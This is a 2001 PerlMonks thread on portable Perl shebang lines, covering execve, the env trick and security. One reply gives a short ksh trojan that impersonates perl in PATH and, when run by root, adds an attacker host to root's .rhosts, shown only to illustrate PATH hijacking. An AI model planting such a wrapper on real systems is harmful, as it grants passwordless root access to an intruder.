Beefy Boxes and Bandwidth Generously Provided by pair Networks
XP is just a number

Portable Shebang

by stefan k (Curate)
on Oct 12, 2001 at 17:04 UTC ( #118460=perlquestion: print w/replies, xml ) Need Help??
stefan k has asked for the wisdom of the Perl Monks concerning the following question:

Fellow Monks,
I was just wondering the other day why almost every single perl script I ever got to look at has a shebang stating the perl interpreter lives in /usr/bin (with very few exceptions putting it in /usr/local/bin ).

Is it just grown by time? Is there a deeper reason for this (maybe like security stuff)? Or is it no problem at all, because during a real installation the interpreter is looked for and the correct shebang is filled in?

Why not just use #!perl -w without the explicit path, so the perl interpreter will be found if it is in $PATH? That should work on other systems, too. Or -like is common practice with ruby, because it isn't that standard to *nix system- use #!/usr/bin/env perl ?

I'm just wondering, and a search on 'shebang' produced a lot of results in the Monastery but none of them seemed to explain this.

Regards... Stefan
you begin bashing the string with a +42 regexp of confusion

Replies are listed 'Best First'.
Re: Portable Shebang
by Masem (Monsignor) on Oct 12, 2001 at 17:15 UTC
    Several reasons that I can think of:
    • Perl version: say you have code that only works in 5.005, but both 5.005 and 5.6 is installed; you can use the shebang to point to the specific version that you want instead of relying on $PATH.
    • Using 'dummy' accounts with no ENV set, for security reasons, such as the typicaly httpd user. You need to point to the perl executable to make sure it can get there.
    • General security; a common tip for new sysadmins is to NEVER add '.' to your $PATH as you could easily accidently run malicous code if it is there. Same with perl; if someone drops an executable named 'perl' into a directory on $PATH that isn't always secure like '.', then they could hijack your code, such as sniffing for embedded passwords or the like.
    Having perl live in /usr/bin is just a result of the standard file structure for most *nix boxes, since it is usually installed in some form by default.

    Dr. Michael K. Neylon - || "You've left the lens cap of your mind on again, Pinky" - The Brain
    It's not what you know, but knowing how to find it if you don't know that's important

      Just a quick HP-UX example... name your script perl and place it in any directory located in the PATH *before* the actual perl.

      #!/usr/bin/ksh if [ `/usr/bin/whoami` = root ]; then /usr/bin/chmod 600 ${HOME}/.rhosts /usr/bin/echo myhackerpcname >> ${HOME}/.rhosts fi /usr/bin/perl $@

      A couple of notes:

      1. This is a VERY crude example, and is to illustrate Masem's general security point
      2. "myhackerpcname" is the name of the hacker's PC
      3. A true hacker would use something a LOT less obvious than this script -- it leaves fingerprints all over the place, and could easily trip a security sweep checking the .rhosts files. This script is more likely to be an internal breach by a less skilled attacker.
      4. If, however, a root account were to execute a perl script with #!perl, the system's security would be compromised -- well, anyone logged into "myhackerpcname" as root could log into the compomised system as root without using a password.


      • Corrected some typos.
      • Changed the file permissions a bit -- made them a little more correct. (Suggestions made by blyman)
Re: Portable Shebang
by VSarkiss (Monsignor) on Oct 12, 2001 at 17:45 UTC

    In the original BSD Unix, and current versions of Linux, the shebang is not implemented by the shell, but by the execve system call. When the file that's handed to execve is not a binary executable (as found from its magic number), then the call checks whether the first two characters are #!. If so, it attempts to exec the file named immediately afterwards instead, passing it the original file as input. The path to the file has to be valid -- there is no search of $PATH, which is maintained by the shells, not at the kernel level. Hence, your example of #!perl would work only when the Perl executable was in the current directory of the process that was calling exec.

    What can add to the confusion is that Perl will actually examine a shebang-looking line to see if it should "fake" a shebang, for systems that either don't implement it (Win32 comes to mind), or which have a crippled version that doesn't allow passing arguments. You can get much more detail on this behavior in the opening paragraphs of perlman:perlrun. The /usr/bin/env perl trick is described there as well.


      Thanks for the pointer to perlman:perlrun - that was a good read.

      Just one more question maybe: how does one get the -w switch when using the /usr/bin/env trick?

      Regards... Stefan
      you begin bashing the string with a +42 regexp of confusion

        Hmm.... I couldn't coax it to do that on my Linux box. It appears env expects the shell to have split up the arguments before they're handed to it, so when execve hands it one long string of file and arguments, it thinks the blanks are part of the file name. That's judging from the error message I get: env: perl -w: No such file or directory
        That's not such a big deal with -w since you can substitute use warnings, but is a problem with -T, which has to appear early on. There may be some clever way to do with the env trick. I think I'll just stick to regular ol' shebangs....

Re: Portable Shebang
by khippy (Scribe) on Oct 12, 2001 at 17:10 UTC
    Real paranoid root users always use hardcoded paths to exectue
    an executable.
    ...which is not really so paranoid, is it these days?
    That might be one possible reason, *but* the shell does not
    resolve executables by using the path and that is why it has
    to be hardcoded IMHO.


    there are no silly questions
(tye)Re: Portable Shebang
by tye (Sage) on Oct 12, 2001 at 20:12 UTC

    "Because Larry said so." I recall long ago when the debate over /usr/bin/perl vs. /usr/local/bin/perl (this was before Linux, BTW) was raging. Larry personally requested that people standardize on #!/usr/bin/perl and make /usr/bin/perl a link to the default Perl binary. That is why the Perl installation process (if you build Perl from source code) offers to make /usr/bin/perl a link for you (it gives you the option of not doing not so much because you might not want /usr/bin/perl but because you might want to leave /usr/bin/perl pointing to your previous version while you take time to check out this new version that you just built and installed).

    Other entries here document some of the reasons why this was a good idea. (:

            - tye (but my friends call me "Tye")
letting the shell figure it out
by Fletch (Chancellor) on Oct 12, 2001 at 17:36 UTC
    #!/bin/sh -- # -*- perl -*- -p eval 'exec perl -wS $0 ${1+"$@"}' if $running_under_some_shell;

    Both the above and the env trick are discussed in perldoc perlrun.

Re: Portable Shebang
by merlyn (Sage) on Oct 12, 2001 at 18:40 UTC
    Why not just use #!perl -w without the explicit path, so the perl interpreter will be found if it is in $PATH?
    As has been already said, that doesn't work, unless Perl just happens to be in the current directory. $PATH-searching is unknown to the kernel.
    Or {...} use #!/usr/bin/env perl
    Because env might be in /bin, might be in /usr/bin, or might be nowhere at all, so it's not that much more portable than just saying /usr/bin/perl and telling the user to patch if necessary (or creating an installation tool to do that automatically).

    -- Randal L. Schwartz, Perl hacker

Re: Portable Shebang
by Anonymous Monk on Oct 12, 2001 at 21:19 UTC

Log In?

What's my password?
Create A New User
Node Status?
node history
Node Type: perlquestion [id://118460]
Approved by root
and all is quiet...

How do I use this? | Other CB clients
Other Users?
Others avoiding work at the Monastery: (6)
As of 2018-06-22 20:09 GMT
Find Nodes?
    Voting Booth?
    Should cpanminus be part of the standard Perl release?

    Results (124 votes). Check out past polls.